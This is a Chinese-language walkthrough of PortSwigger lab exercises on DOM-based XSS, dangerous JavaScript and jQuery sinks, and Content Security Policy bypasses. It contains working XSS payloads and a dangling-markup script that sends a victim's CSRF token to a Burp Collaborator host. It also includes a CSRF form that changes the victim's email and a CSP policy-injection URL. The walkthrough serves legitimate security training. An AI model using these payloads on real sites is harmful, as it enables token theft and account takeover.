1、一些纯粹基于DOM的漏洞是独立于单个页面的。如果脚本从URL读取一些数据并将其写入危险的接收器,则漏洞完全是客户端的。
2、来源并不局限于浏览器直接暴露的数据,也可以来自网站。如网站经常在来自服务器的HTML响应中反映URL参数。这通常与普通XSS有关,但也可能导致反射DOM XSS漏洞。
3、在反射的DOM XSS漏洞中,服务器处理来自请求的数据,并将数据回显到响应中。反射的数据可以放在JavaScript字符串文字中,或者DOM中的数据项(如表单字段)中。然后,页上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。
eval('var data = "reflected string"');
涉及实验:
实验12:反射DOM XSS
4、网站也可能将数据存储在服务器上并将其反映到其他地方。在存储的DOM XSS漏洞中,服务器从一个请求接收数据,存储它,然后将数据包含在以后的响应中。稍后响应中的脚本包含一个接收器,该接收器以不安全的方式处理数据。
element.innerHTML = comment.author
涉及实验:
实验13:存储DOM XSS
实验12:反射DOM XSS
信息:
本实验演示了一个反射DOM漏洞。当服务器端应用程序处理来自请求的数据并在响应中回显数据时,会出现反射DOM漏洞。然后,页上的脚本以不安全的方式处理反射的数据,最终将其写入危险的接收器。
完成实验:创建一个调用alert()函数的注入
part1:
在Burp Suite中,转到代理工具并确保拦截功能已打开。
使用搜索栏搜索随机测试字符串
在Intercept选项卡上,注意字符串反映在名为search-results的JSON响应中
在站点地图中,打开searchResults.js文件,注意JSON响应与eval()函数调用一起使用。
发送到repeater,通过试验不同的搜索字符串,可以识别JSON响应正在转义引号。但反斜杠不会转义
part2:
插入xss
payload: \\"-alert(1)//
原理:
1、由于已经插入了一个反斜杠,并且站点没有对它们进行转义,因此当JSON响应试图转义开头的双引号字符时,它会添加第二个反斜杠。产生的双反斜杠将导致转义被有效地取消。这意味着处理双引号时不转义,这将结束应包含搜索项的字符串。
2、然后,在调用alert()函数之前,使用算术运算符(本例中为减法运算符)分隔表达式。最后,一个右花括号和两个正斜杠提前关闭JSON对象,并注释掉对象的其余部分。
结果,响应生成如下: "searchTerm":"\\\\"-alert(1)//", "results":[]
实验13:存储DOM XSS
信息:
本实验演示了博客评论功能中的存储DOM漏洞
完成实验:利用此漏洞调用alert()函数
part1:
发表包含以下向量的评论:
<><img src=1 onerror=alert(1)>
然后点击返回博客,移动的时候就弹窗了
为了防止XSS,网站使用JavaScript replace()函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数只替换第一个匹配项。我们只需在注释的开头包含一组额外的尖括号,就可以利用此漏洞。这些尖括号将被编码,但任何后续的尖括号将不受影响,使我们能够有效地绕过过滤器并注入HTML。
3、会导致DOM-XSS漏洞的接收器
1、可能导致DOM-XSS漏洞的一些主要接收器:
document.write() document.writeln() document.domain element.innerHTML element.outerHTML element.insertAdjacentHTML element.onevent
2、jQuery函数也是可导致DOM-XSS漏洞的接收器:
add() after() append() animate() insertAfter() insertBefore() before() html() prepend() replaceAll() replaceWith() wrap() wrapInner() wrapAll() has() constructor() init() index() jQuery.parseHTML() $.parseHTML()
三、CSP内容安全策略
1、简述:
1、CSP是一种浏览器安全机制,旨在减轻XSS和其他一些攻击。它的工作原理是限制页面可以加载的资源(如脚本和图像),并限制页面是否可以被其他页面框住。
2、要启用CSP,响应需要包含名为 (Content-Security-Policy)内容安全策略具有包含策略的值。策略本身由一个或多个指令组成,指令之间用分号分隔。
2、使用CSP减轻XSS攻击
1、以下指令将只允许从同源作为页面本身: script-src 'self' 2、以下指令将只允许从特定域加载脚本: script-src https://scripts.normal-website.com
1、允许来自外部域的脚本时应谨慎。如果攻击者有任何方法可以控制从外部域提供的内容,那么就有可能发起攻击。如不使用每个客户URL的内容交付网络(CDN)(如ajax.googleapis.com)不应被信任,因为第三方可以将内容放到其域中。
2、除了将特定域列入白名单之外,内容安全策略还提供了另外两种指定受信任资源的方法:随机数和散列:
1、CSP指令可以指定nonce(随机值),加载脚本的标记中必须使用相同的值。如果这些值不匹配,则脚本不会执行。为了有效地作为一个控件,nonce必须在每次页面加载时安全地生成,并且不能被攻击者猜到。 2、CSP指令可以指定受信任脚本内容的哈希值。如果实际脚本的哈希与指令中指定的值不匹配,则脚本将不会执行。如果脚本的内容发生变化,那么您当然需要更新在指令中指定的哈希值。
3、CSP阻塞像脚本这样的资源是很常见的。但许多CSP确实允许映像请求。这意味着可以经常使用img元素向外部服务器发出请求,例如为了公开CSRF令牌。
4、一些浏览器,如Chrome,有内置的悬空标记缓解,将阻止包含某些字符的请求,如原始的,未编码的新行或尖括号。
5、有些策略的限制性更强,可以阻止所有形式的外部请求。但通过引发一些用户交互来绕过这些限制仍然是可能的。要绕过这种形式的策略,需要注入一个HTML元素,当单击该元素时,它将存储并向外部服务器发送由注入的元素包含的所有内容。
6、涉及实验:
实验29:反射的XSS受非常严格的CSP保护,带有悬空标记攻击
实验29:反射的XSS受非常严格的CSP保护,带有悬空标记攻击
信息:
1、本实验使用一个严格的CSP来阻止对外部网站发出的请求。
2、解决实验:使用Burp Collaborator执行跨站点脚本攻击,绕过CSP并泄漏模拟受害用户的CSRF令牌。然后需要将模拟用户的电子邮件地址更改为hacker@evil-user.net。
3、必须使用“Click”标记向量,以便引导模拟用户单击它,如<a href="">Click me</a>
4、已有账号:wiener:peter
(提示:如果BP的服务器没有DNS、HTTP数据交互,请重启靶场,测试一个小时无果,重启,直接收到了40几条数据)
part1:
使用wiener:peter登录
检查更改电子邮件功能(email参数中存在XSS漏洞)
转到Collaborator选项卡(单击"复制到剪贴板"将唯一的Burp Collaborator有效负载复制到剪贴板)myorhs4vtlu3lzfzt884vf7n9ef43t.burpcollaborator.net
part2:
插入XSS
转到漏洞利用服务器并添加以下代码
(将YOUR-LAB-ID和YOUR-EXPLOIT-SERVER-ID分别替换为实验室ID和漏洞利用服务器ID,并将YOUR-COLABORATOR-ID替换为刚刚从Burp Collaborator复制的有效负载)
<script> if(window.name) new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name); else location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; </script> 我的是: <script> if(window.name) new Image().src='//myorhs4vtlu3lzfzt884vf7n9ef43t.burpcollaborator.net?'+encodeURIComponent(window.name); else location = 'https://0a6a00f504d42ac4c1ff262800300059.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0a3600b804ec2a4ac105258401ae00c0.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27'; </script>
单击"存储",然后单击"向受害者发送利用漏洞攻击"。当用户访问包含此恶意脚本的网站时,如果他们在仍登录的情况下单击"Click me"链接,其浏览器将向您的恶意网站发送包含其CSRF令牌的请求。然后可以使用Burp Collaborator客户端窃取这个CSRF令牌。
返回Collaborator选项卡,刷新,应该看到一个由应用程序启动的HTTP交互。选择HTTP交互,转到请求选项卡,然后复制用户的CSRF令牌(请求中的数据进行URL解码)
2Vq711biQDVvP2f9X7bPThnN9K7Km8Gw
part3:
生成CSRF HTML
打开Burp的Intercept功能后,返回实验室的更改电子邮件功能,并提交将电子邮件更改为任意地址的请求获取数据包后发到repeater(并取消掉浏览器的请求,并关闭拦截,避免浏览器请求延时而错误)
在Burp中,转到拦截的请求并将email参数的值更改为hacker@evil-user.net。
右键单击请求,从上下文菜单中选择"Engagement tools",然后选择"Generate CSRF PoC"弹出窗口同时显示请求和由请求生成的CSRF HTML。在请求中,将CSRF令牌替换为之前从受害者处窃取的令牌
点击"选项",并确保"包括自动提交脚本"已激活
单击"重新生成"更新CSRF HTML,使其包含被盗令牌,然后单击"复制HTML"将其保存到剪贴板
这个csrf的值又变了,再改一遍
2Vq711biQDVvP2f9X7bPThnN9K7Km8Gw
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://0a6a00f504d42ac4c1ff262800300059.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="hacker@evil-user.net" /> <input type="hidden" name="csrf" value="2Vq711biQDVvP2f9X7bPThnN9K7Km8Gw" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
part4:
再次发送给受害者
返回漏洞利用服务器并将CSRF HTML粘贴到正文中。覆盖我们之前输入的脚本。
单击"存储"和"向受害者发送利用漏洞攻击"。
用户点击后,电子邮件将更改为hacker@evil-user.net
3、使用CSP减轻悬空标记攻击
1、以下指令只允许从与页面本身相同的源加载图像:
img-src 'self'
以下指令将仅允许从特定域加载映像:
img-src https://images.normal-website.com
这些策略将防止某些悬空标记漏洞,因为无需用户交互即可捕获数据的一种简单方法是使用 图像标签。但它不会阻止其他利用漏洞的行为,如那些使用悬挂href属性
4、使用策略注入绕过CSP
1、可能会遇到一个反映实际策略输入的网站,很可能是在report-uri指令中。如果站点反映可以控制的参数,则可以插入分号以添加自己的CSP指令。通常report-uri指令是列表中的最后一个指令。这意味着需要覆盖现有指令,以便利用此漏洞并绕过该策略。
2、通常不可能覆盖现有的script-src指令。但Chrome引入了script-src-elem指令,它允许控制脚本元素,但不能控制事件。至关重要的是,这个新指令允许覆盖现有的script-src指令
3、涉及实验:
实验30:反射XSS受CSP保护,带CSP旁路
实验30:反射XSS受CSP保护,带CSP旁路
信息:
本实验使用CSP并包含一个反射的XSS漏洞。
完成实验:执行跨站点脚本攻击,绕过CSP并调用alert函数(Chrome)
part1:
在搜索框中输入以下内容:
<img src=1 onerror=alert(1)>
注意到负载被反映了,但是CSP阻止脚本执行。
分析数据包
在HTTP历史记录中,观察到响应包含一个Content-Security-Policy头,report-uri指令包含一个名为token的参数。因为可以控制token参数,所以可以将自己的CSP指令注入到策略中
part2:
插入XSS
访问以下URL(将YOUR-LAB-ID替换为实验室ID)
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27 我的是: https://0a3800aa03daf86ac26366ef0092004e.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
注入使用CSP中的script-src-elem指令。此指令允许仅以脚本元素为目标。使用此指令可以覆盖现有的script-src规则,能够注入unsafe-inline,从而允许使用内联脚本
以上是关于BP靶场portswigger-客户端13跨来源资源共享(CORS)-4个实验(全)的主要内容,如果未能解决你的问题,请参考以下文章
BP靶场portswigger-客户端11跨站点脚本XSS-20个实验(上)
BP靶场portswigger-服务端3目录遍历漏洞-6个实验(全)